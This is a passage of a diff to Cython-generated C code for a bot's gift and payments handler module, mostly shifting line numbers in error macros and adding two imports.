18, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_SHARE_TEXT_TEMPLATE_NOT_INLINE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_SHARE_TEXT_TEMPLATE_NOT_INLINE, __pyx_t_3) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_SHARE_TEXT_TEMPLATE_NOT_INLINE, __pyx_t_3) < 0) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_gift_confirmation_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_gift_confirmation_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_gift_confirmation_text, __pyx_t_3) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_gift_confirmation_text, __pyx_t_3) < 0) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_GIFT_CHOICE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_GIFT_CHOICE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_GIFT_CHOICE, __pyx_t_3) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_GIFT_CHOICE, __pyx_t_3) < 0) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_GIFTS_ABOUT); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_GIFTS_ABOUT, __pyx_t_3) < 0) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_NO_GIFTS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_NO_GIFTS, __pyx_t_3) < 0) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_logger); __Pyx_GIVEREF(__pyx_n_s_logger); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_logger)) __PYX_ERR(0, 19, __pyx_L1_error); - __pyx_t_3 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_logger)) __PYX_ERR(0, 21, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_2) < 0) __PYX_ERR(0, 19, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_2) < 0) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportDottedModule(__pyx_n_s_asyncpg, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportDottedModule(__pyx_n_s_asyncpg, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_asyncpg, __pyx_t_3) < 0) __PYX_ERR(0, 20, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_asyncpg, __pyx_t_3) < 0) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_edit_or_send_message); __Pyx_GIVEREF(__pyx_n_s_edit_or_send_message); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_edit_or_send_message)) __PYX_ERR(0, 22, __pyx_L1_error); - __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_utils, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_edit_or_send_message)) __PYX_ERR(0, 24, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_utils, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_edit_or_send_message, __pyx_t_3) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_edit_or_send_message, __pyx_t_3) < 0) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_3) < 0) __PYX_ERR(0, 24, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_3) < 0) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_PROJECTMANECONGIGURE, __pyx_n_u_CRYPTOSALE) < 0) __PYX_ERR(0, 27, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PROJECTMANECONGIGURE, __pyx_n_u_CRYPTOSALE) < 0) __PYX_ERR(0, 29, __pyx_L1_error) - if (PyDict_SetItem(__pyx_d, __pyx_n_s_STARS_ROUTER, __pyx_kp_u_21U68SOLOBOT) < 0) __PYX_ERR(0, 28, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_STARS_ROUTER, __pyx_kp_u_21U68SOLOBOT) < 0) __PYX_ERR(0, 30, __pyx_L1_error) - if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_HASH, __pyx_n_u_HASHHASHYOOKASSA) < 0) __PYX_ERR(0, 29, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_HASH, __pyx_n_u_HASHHASHYOOKASSA) < 0) __PYX_ERR(0, 31, __pyx_L1_error) - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyObject_RichCompare(__pyx_t_4, __pyx_n_u_gifts, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_t_3 = PyObject_RichCompare(__pyx_t_4, __pyx_n_u_gifts, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 32, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_1start_menu_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_start_menu_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_1start_menu_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_start_menu_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_3); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_start_menu_handler, __pyx_t_3) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_start_menu_handler, __pyx_t_3) < 0) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_startswith); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_startswith); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__48, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__46, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 55, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 55, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_4my_gifts_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_my_gifts_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__3)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 55, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 57, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 57, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_4my_gifts_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_my_gifts_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__3)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_4); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_my_gifts_handler, __pyx_t_4) < 0) __PYX_ERR(0, 55, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_my_gifts_handler, __pyx_t_4) < 0) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_F); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_F); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_startswith); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_startswith); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__50, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__48, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 137, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 137, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_7delete_gift_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_delete_gift_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__15)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 139, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 139, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_7delete_gift_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_delete_gift_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__14)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_3); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_delete_gift_handler, __pyx_t_3) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_delete_gift_handler, __pyx_t_3) < 0) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 156, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 156, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 156, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 156, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyObject_RichCompare(__pyx_t_4, __pyx_n_u_gift, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 156, __pyx_L1_error) + __pyx_t_3 = PyObject_RichCompare(__pyx_t_4, __pyx_n_u_gift, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 156, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 158, __pyx_L1_error) 